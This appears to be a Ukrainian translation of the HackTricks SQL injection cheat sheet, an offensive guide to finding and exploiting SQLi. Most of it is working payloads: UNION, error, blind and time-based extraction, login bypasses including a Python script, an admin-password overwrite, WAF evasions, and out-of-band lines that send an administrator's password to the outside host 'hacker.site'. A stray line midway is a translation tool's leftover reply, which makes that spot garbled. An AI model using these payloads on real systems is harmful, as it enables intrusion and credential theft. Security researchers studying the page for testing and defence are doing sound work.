SQL Injection

Reading time: 21 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Що таке SQL injection?

An SQL injection — це вразливість, яка дозволяє зловмисникам втручатися в запити до бази даних застосунку. Ця вразливість може дозволити зловмисникам переглядати, змінювати або видаляти дані, до яких вони не повинні мати доступ, включаючи інформацію інших користувачів або будь-які дані, до яких має доступ застосунок. Такі дії можуть призвести до постійних змін у функціональності або вмісті застосунку, або навіть до компрометації сервера чи denial of service.

Виявлення точки входу

Коли сайт здається вразливим до SQL injection (SQLi) через незвичні відповіді сервера на введення, пов'язані з SQLi, перший крок — зрозуміти, як впровадити дані в запит, не порушивши його. Для цього потрібно визначити спосіб вийти з поточного контексту ефективно. Ось кілька корисних прикладів:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Тоді вам потрібно знати, як виправити запит, щоб не було помилок. Щоб виправити запит, ви можете ввести дані так, щоб попередній запит прийняв нові дані, або ви можете просто ввести свої дані та додати символ коментаря в кінці.

Зверніть увагу, що якщо ви бачите повідомлення про помилки або можете помітити відмінності, коли запит працює і коли ні, ця фаза буде легшою.

Коментарі

sql
MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Підтвердження логічними операціями

Надійний метод підтвердження вразливості SQL injection полягає у виконанні логічної операції та спостереженні очікуваних результатів. Наприклад, GET parameter такий як ?username=Peter, який повертає ідентичний вміст при зміні на ?username=Peter' or '1'='1, свідчить про вразливість SQL injection.

Аналогічно, застосування математичних операцій також є ефективною технікою підтвердження. Наприклад, якщо доступ до ?id=1 і ?id=2-1 дає той самий результат, це вказує на SQL injection.

Приклади, що демонструють підтвердження логічними операціями:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Цей список слів був створений, щоб спробувати підтвердити SQLinjections запропонованим способом:

Справжній SQLi ``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```

Підтвердження за часом

У деяких випадках ви не помітите жодних змін на сторінці, яку тестуєте. Тому хорошим способом discover blind SQL injections є змусити DB виконати дії, які матимуть вплив на час завантаження сторінки.
Тому ми збираємося concat у SQL-запиті операцію, яка займе багато часу на виконання:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

У деяких випадках sleep functions won't be allowed. Тоді, замість використання цих функцій ви можете змусити запит perform complex operations, які триватимуть кілька секунд. Examples of these techniques are going to be commented separately on each technology (if any).

Ідентифікація Back-end

Найкращий спосіб ідентифікувати back-end — спробувати виконати функції різних back-end'ів. Ви можете використовувати sleep functions попереднього розділу або ці (таблиця з payloadsallthethings:

bash
["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Також, якщо ви маєте доступ до виводу запиту, ви можете змусити його вивести версію бази даних.

tip

У продовженні ми обговоримо різні методи експлуатації різних типів SQL Injection. Ми використовуватимемо MySQL як приклад.

Identifying with PortSwigger

SQL injection cheat sheet | Web Security Academy

Exploiting Union Based

Detecting number of columns

Якщо ви можете бачити вивід запиту, це найкращий спосіб його експлуатації.
Перш за все, нам потрібно з'ясувати кількість стовпців, які повертає початковий запит. Це тому, що обидва запити повинні повертати однакову кількість стовпців.
Зазвичай для цього використовуються два методи:

Order/Group by

Щоб визначити кількість стовпців у запиті, поступово збільшуйте число, що використовується в клаузах ORDER BY або GROUP BY, поки не отримаєте помилкову відповідь. Незважаючи на різні функції GROUP BY та ORDER BY в SQL, обидві можуть використовуватися ідентично для встановлення кількості стовпців у запиті.

sql
1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
sql
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Підставляйте дедалі більше null значень, поки запит не стане коректним:

sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Ви повинні використовувати значення null, оскільки в деяких випадках типи стовпців з обох сторін запиту повинні бути однаковими, а null є допустимим у будь-якому випадку.

Отримання імен баз даних, імен таблиць та імен стовпців

У наступних прикладах ми отримаємо назви всіх баз даних, ім'я таблиці певної бази даних та імена стовпців цієї таблиці:

sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Існує різний спосіб виявлення цих даних для кожної бази даних, але методологія завжди одна й та сама.

Exploiting Hidden Union Based

Коли результат запиту видно, але union-based injection здається недосяжним, це вказує на наявність hidden union-based injection. Така ситуація часто призводить до blind injection. Щоб перетворити blind injection на union-based, потрібно визначити виконуваний запит на стороні сервера.

Цього можна досягти, використовуючи техніки blind injection разом зі стандартними таблицями, специфічними для цільової системи управління базами даних (DBMS). Для розуміння цих стандартних таблиць рекомендовано звернутися до документації цільової DBMS.

Після того, як запит витягнуто, необхідно налаштувати ваш payload так, щоб безпечно закрити оригінальний запит. Після цього до payload додається union query, що дозволяє скористатися новоотриманою union-based injection.

Для детальнішої інформації зверніться до повної статті за адресою Healing Blind Injections.

Exploiting Error based

Якщо з якоїсь причини ви не можете побачити вивід запиту, але можете побачити повідомлення про помилки, ви можете використати ці повідомлення, щоб ex-filtrate дані з бази даних.\
Дотримуючись схожого порядку дій, як у Union Based exploitation, ви зможете dump the DB.

sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Експлуатація Blind SQLi

У цьому випадку ви не бачите результатів запиту або помилок, але можете визначити, коли запит повертає відповідь true або false, оскільки на сторінці відображається різний вміст.
У цьому випадку можна зловживати цією поведінкою, щоб dump базу даних char за char:

sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Exploiting Error Blind SQLi

Це той самий випадок, що й раніше, але замість того, щоб розрізняти відповідь true/false від запиту, ви можете відрізняти, чи сталася error в SQL query чи ні (можливо через crash HTTP server). Тому в цьому випадку ви можете викликати SQLerror щоразу, коли правильно вгадуєте char:

sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Exploiting Time Based SQLi

У цьому випадку немає жодного способу розрізнити відповідь запиту на основі контексту сторінки. Але можна змусити сторінку завантажуватися довше, якщо вгаданий символ правильний. Ми вже бачили цю техніку раніше, щоб confirm a SQLi vuln.

sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

Ви можете використовувати stacked queries, щоб виконати кілька запитів підряд. Зверніть увагу, що хоча наступні запити виконуються, результати не повертаються в додаток. Отже ця техніка корисна насамперед для blind vulnerabilities, де ви можете використати другий запит, щоб викликати DNS lookup, conditional error або time delay.

Oracle не підтримує stacked queries. MySQL, Microsoft та PostgreSQL підтримують їх: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

Якщо no-other метод експлуатації не спрацював, ви можете спробувати змусити database ex-filtrate інформацію на external host, контрольований вами. Наприклад, через DNS queries:

sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Експфільтрація даних поза каналом зв'язку через XXE

sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Automated Exploitation

Перевірте SQLMap Cheatsheet, щоб експлуатувати вразливість SQLi за допомогою sqlmap.

Tech specific info

Ми вже обговорювали всі способи експлуатації вразливості SQL Injection. Знайдіть ще декілька трюків, залежних від технології бази даних, у цій книзі:

Або ви знайдете безліч трюків щодо: MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL у https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

Authentication bypass

Список для спроб обходу login-функціональності:

Login bypass List

Raw hash authentication Bypass

sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Цей запит демонструє вразливість, коли MD5 використовується з true для raw output у перевірках автентифікації, через що система стає вразливою до SQL injection. Зловмисники можуть скористатися цим, підбираючи ввідні дані, які при хешуванні утворюють несподівані частини SQL-команд, що призводить до несанкціонованого доступу.

sql
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Обхід автентифікації через інжекцію хешу

sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Рекомендований список:

Ви повинні використовувати як username кожен рядок списку і як password завжди: Pass1234.
(Ці payloads також включені в великий список, згаданий на початку цього розділу)

GBK Authentication Bypass

Якщо ' is being escaped, ви можете використати %A8%27, і коли ' gets escaped, буде створено: 0xA80x5c0x27 (╘')

sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python-скрипт:

python
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Polyglot injection (multicontext)

sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Оператор INSERT

Змінити пароль існуючого об'єкта/користувача

Для цього слід спробувати створити новий об'єкт з ім'ям "master object" (ймовірно admin у випадку користувачів), змінивши щось:

  • Створити користувача з ім'ям: AdMIn (великі та малі літери)
  • Створити користувача з ім'ям: admin=
  • SQL Truncation Attack (коли існує певне обмеження довжини в імені користувача або email) --> Створити користувача з ім'ям: admin [a lot of spaces] a

SQL Truncation Attack

Якщо база даних уразлива і максимальна кількість символів для імені користувача, наприклад, становить 30, і ви хочете видавати себе за користувача admin, спробуйте створити ім'я користувача: "admin [30 spaces] a" і будь-який пароль.

База даних буде перевіряти, чи введене ім'я користувача існує в базі. Якщо ні, вона обріже ім'я користувача до максимально дозволеної кількості символів (в цьому випадку до: "admin [25 spaces]"), а потім автоматично видалить усі пробіли в кінці, оновивши в базі даних користувача "admin" з новим паролем (може з'явитися якась помилка, але це не означає, що атака не спрацювала).

More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

Додайте стільки ','','', скільки вважаєте за потрібне, щоб вийти з VALUES-виразу. Якщо затримка виконується, це SQLInjection.

sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

Клауза ON DUPLICATE KEY UPDATE в MySQL використовується, щоб вказати дії, які має виконати база даних, коли робиться спроба вставити рядок, що призведе до дублювання значення в UNIQUE index або PRIMARY KEY. Наведений нижче приклад демонструє, як цю можливість можна використати для зміни пароля облікового запису адміністратора:

Example Payload Injection:

injection payload може бути сформовано наступним чином, де намагаються вставити два рядки в таблицю users. Перший рядок — приманка, а другий націлений на існуючу електронну адресу адміністратора з метою оновлення пароля:

sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Ось як це працює:

  • Запит намагається вставити два рядки: один для generic_user@example.com і ще один для admin_generic@example.com.
  • Якщо рядок для admin_generic@example.com вже існує, спрацьовує клаузула ON DUPLICATE KEY UPDATE, наказуючи MySQL оновити поле password існуючого рядка на "bcrypt_hash_of_newpassword".
  • Унаслідок цього можна буде спробувати виконати аутентифікацію з використанням admin_generic@example.com та пароля, що відповідає bcrypt-хешу ("bcrypt_hash_of_newpassword" означає bcrypt-хеш нового пароля і має бути замінений на фактичний хеш бажаного пароля).

Отримання інформації

Створення 2 облікових записів одночасно

При спробі створити нового користувача потрібні username, password та email:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Використання десяткових або шістнадцяткових

За цією технікою ви можете витягти інформацію, створивши лише 1 обліковий запис. Важливо зазначити, що вам не потрібно нічого коментувати.

Використовуючи hex2dec і substr:

sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

I don't have the file contents. Please paste the contents of src/pentesting-web/sql-injection/README.md here (or provide the text). I will translate it to Ukrainian while preserving all markdown, tags, links, paths and code.

python
__import__('binascii').unhexlify(hex(215573607263)[2:])

Використовуючи hex та replace (та substr):

sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Routed SQL injection

Routed SQL injection — це ситуація, коли ін'єктований запит не є тим, який повертає вивід, але вивід ін'єктованого запиту передається в запит, який повертає вивід. (From Paper)

Приклад:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Initial bypasses from here

No spaces bypass

No Space (%20) - bypass, що використовує альтернативи для whitespace

sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - bypass за допомогою коментарів

sql
?id=1/*comment*/and/**/1=1/**/--

No Whitespace - bypass із використанням дужок

sql
?id=(1)and(1)=(1)--

No commas bypass

No Comma - bypass з використанням OFFSET, FROM та JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Загальні обхідні методи

Чорний список за ключовими словами - обхід із використанням верхнього/нижнього регістру

sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Чорний список ключових слів (без врахування регістру) — обхід за допомогою еквівалентного оператора

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Наукове позначення WAF bypass

Детальніше про цей трюк можна знайти в gosecure blog.
По суті, ви можете використовувати наукове позначення несподіваними способами, щоб обійти WAF:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Bypass Column Names Restriction

По‑перше, зауважте, що якщо оригінальний запит і таблиця, з якої ви хочете витягти flag, мають однакову кількість стовпців, ви можете просто зробити: 0 UNION SELECT * FROM flag

Можна отримати доступ до третього стовпця таблиці без використання його імені за допомогою запиту на кшталт: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, тож в sqlinjection це виглядало б так:

bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Або використовуючи comma bypass:

bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Цей трюк взято з https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Column/tablename injection in SELECT list via subqueries

Якщо введення користувача підставляється в SELECT list або в ідентифікатори таблиць/стовпців, prepared statements не допоможуть, оскільки bind parameters захищають лише значення, а не ідентифікатори. Поширений вразливий шаблон є:

php
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);

Ідея exploitation: inject subquery у field position для exfiltrate arbitrary data:

sql
-- Legit
SELECT user_name FROM vte_users WHERE id=1;

-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;

Примітки:

  • Це працює навіть коли WHERE клауза використовує bound parameter, оскільки список ідентифікаторів все ще string-concatenated.
  • Деякі стеки додатково дозволяють контролювати назву таблиці (tablename injection), що дає змогу виконувати cross-table reads.
  • Output sinks можуть відображати вибране значення в HTML/JSON, що дозволяє XSS або token exfiltration безпосередньо з відповіді.

Заходи пом'якшення:

  • Ніколи не конкатенуйте ідентифікатори з введення користувача. Відобразьте дозволені імена колонок у фіксований allow-list і правильно quote identifiers.
  • Якщо потрібен динамічний доступ до таблиць, обмежте його скінченним набором і вирішуйте server-side через безпечне відображення.

Інструменти для підбору обходу WAF

GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester

Інші керівництва

Список виявлення Brute-Force

Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks